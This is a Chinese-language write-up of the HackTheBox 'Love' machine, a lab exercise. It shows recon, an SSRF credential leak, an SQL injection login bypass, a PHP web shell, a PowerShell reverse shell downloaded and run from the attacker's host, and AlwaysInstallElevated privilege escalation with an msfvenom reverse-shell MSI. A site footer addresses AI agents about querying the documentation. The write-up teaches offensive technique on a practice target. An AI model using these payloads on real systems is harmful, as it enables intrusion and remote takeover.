> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Love HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**技能：**

* SQL 注入（SQLI）
* 服务器端请求伪造（SSRF）
* 文件上传滥用
* 利用投票系统
* 滥用 AlwaysInstallElevated（msiexec/msi 文件）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/6f125778e82213ac97e3fd9bb8259d83b3423ade" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/a4600e0656e22bc65d0e2fad43e93dc19beec802" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：** 探索开放端口，并将其导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="/files/183a0363fb9454b3735d80f9f082934227276030" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：** 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="/files/527fe947f1f8f2d1731e1457e45a24fb252463f8" alt=""><figcaption></figcaption></figure>

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本，并将信息提取到“targeted”文件中：

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="/files/bc28a497a13d2acf06d0e452cc62935ebf5fb87d" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/320b6de88f5c057af8795ea8bedefc80189b2c9a" alt=""><figcaption></figcaption></figure></div>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件

<figure><img src="/files/bff383ada3efc0124fdf15e2613d753c80be8c54" alt="" width="563"><figcaption></figcaption></figure>

**搜索目录：**

我们使用 Gobuster 在网站上搜索目录：

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/a2faf9d4adc171c8ed93398426be076f5bb7926a" alt=""><figcaption></figcaption></figure>

在 `admin` 目录中，我们发现了一个管理面板。

<figure><img src="/files/0c496bf568821587cf6a556661ccf3ee7e60cdd1" alt=""><figcaption></figcaption></figure>

## 投票系统利用：

在这种情况下，操作投票系统管理面板有两种方式：

### 1. SSRF 漏洞：

端口 443 显示一个 `staging.love.htb` 子域，我们将其添加到我们的 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/24f474d9920435b78f45d058a56d8fb875ce3ec2" alt="" width="563"><figcaption></figcaption></figure>

该网站可以通过 URL 扫描网站。

<figure><img src="/files/76dfe8fcbc50002e871dca08f491bd8ea564a3dd" alt=""><figcaption></figcaption></figure>

通过扫描 `localhost:5000` （外部无法访问），我们发现了凭据：

`admin: @LoveIsInTheAir!!!!`

<figure><img src="/files/8798ec9797933c30137d2dfb391a40df69b48abe" alt=""><figcaption></figcaption></figure>

注意：在外部会显示消息“你没有权限访问此资源。”，从而阻止访问。

<figure><img src="/files/f527676d47553d9fb72745ed1d4cd5f985394414" alt="" width="563"><figcaption></figcaption></figure>

### **2. SQL 注入漏洞（**[**SQLi**](/zh/web/sql-injection.md)**) :**

使用 `searchsploit` 我们查找特定的投票系统漏洞，并找到以下载荷：

<figure><img src="/files/07c57e26c16ddd464816f847ec868c93987aceda" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/dbcc3014026a6e634bd61058ae3e18a53b47f920" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

使用 Burp Suite，我们访问仪表板。

<figure><img src="/files/5e0d4a769c96606244e9d20540bc5ef76d131d9c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cac278388ffc74d2ca8361e1ef3ce5dfcd351e99" alt=""><figcaption></figcaption></figure>

## 文件上传漏洞：

进入仪表板后，有一个选项允许你创建新用户。我们创建一个 `cmd.php` 用于在服务器上运行命令的文件：

<figure><img src="/files/cda64d9e179d85e65a5ea7397f65d90095f2611d" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/62d43bbadb2bae830a71425117711f78b23d412a" alt="" width="482"><figcaption></figcaption></figure>

该面板没有应用任何安全检查，使我们能够注入命令（例如， `whoami`）。通过测试 ping 命令，我们检查连接：

<figure><img src="/files/8b0742fc42c65322bc8c71787291bd1dfaaad1f7" alt=""><figcaption></figcaption></figure>

我们将检查它是否可以发起 ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

当我们收到响应时，我们确认了在目标机器上执行命令的可能性

<figure><img src="/files/3fbcb1c991689f862db99ff23514ed1ecbef977c" alt="" width="563"><figcaption></figcaption></figure>

**用于反向 shell 的 PowerShell 命令**

一旦我们看到可以执行命令，就会下载 `PS.ps1` 脚本到我们这边。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾，我们添加如下这一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/a9e9d7904a12e837826ea10649b392674ba34be2" alt=""><figcaption></figcaption></figure>

我们将使用 `PS.ps1` 脚本

```bash
python3 -m http.server 80
```

然后我们会修改命令，使其指向我们的 Web 服务器：

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

最后，我们监听 4444 端口：

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/f9504b79da43172ac9365275786c402c38e1c27a" alt=""><figcaption></figcaption></figure></div>

### user.txt 标志：

<figure><img src="/files/1cc00ce81128bab9efec1af6e5ce5d08644a3e7f" alt=""><figcaption></figcaption></figure>

## 权限提升：

### **使用 winPEASx64.exe 进行枚举** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

要在 Windows 服务器上进行权限提升，首先运行 `winPEAS` 侦察工具。

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

下载 WIN-peacex64.exe 侦察工具。

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="/files/24a7f89a5265900cf7413389f5b77eb30093d8bb" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="/files/9776d118cbf63f75c8bcff3f027475a81e4d44d8" alt=""><figcaption></figcaption></figure>

### 检查 AlwaysInstallElevated

该 `winPEAS` 该工具会检查各种系统安全设置。我们特别关注 `AlwaysInstallElevated` 注册表键。如果此键设置为 `1` 在 `HKLM` （HKEY/LOCAL/MACHINE），这表明所有 `.msi` 文件都可以以高权限安装，这是一种漏洞。

<figure><img src="/files/8071be46cc3183dfcf0f5a2b1a35368c59cffffe" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**创建一个 .msi 文件以获取反向 shell**

为了利用此漏洞，我们将创建一个 `.msi` 文件，该文件一旦执行就会为我们提供一个反向 shell。我们使用 `msfvenom` 来生成此文件：

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**传输 .msi**/ 文件 创建文件后，我们必须将其传输到目标机器：

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="/files/542406cb985a68696f3a2cbd2ade7b562fae5f13" alt=""><figcaption></figcaption></figure>

**监听 443 端口**/ 在运行 `.msi` 文件之前，我们必须监听我们指定的端口。我们使用 `nc` （netcat）来完成此操作：

```powershell
rlwrap nc -nlvp 443
```

**安装命令执行**/ 最后，我们运行 `.msi` 文件，使用 `msiexec`，这会触发静默安装：

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="/files/6d0cf57554446693503f7489cc9ea58f19b5e569" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="/files/0283c9af3f214da259b4ba3d99792654505873e8" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3403a16c32d55d022492c471424b2a507521ae07" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
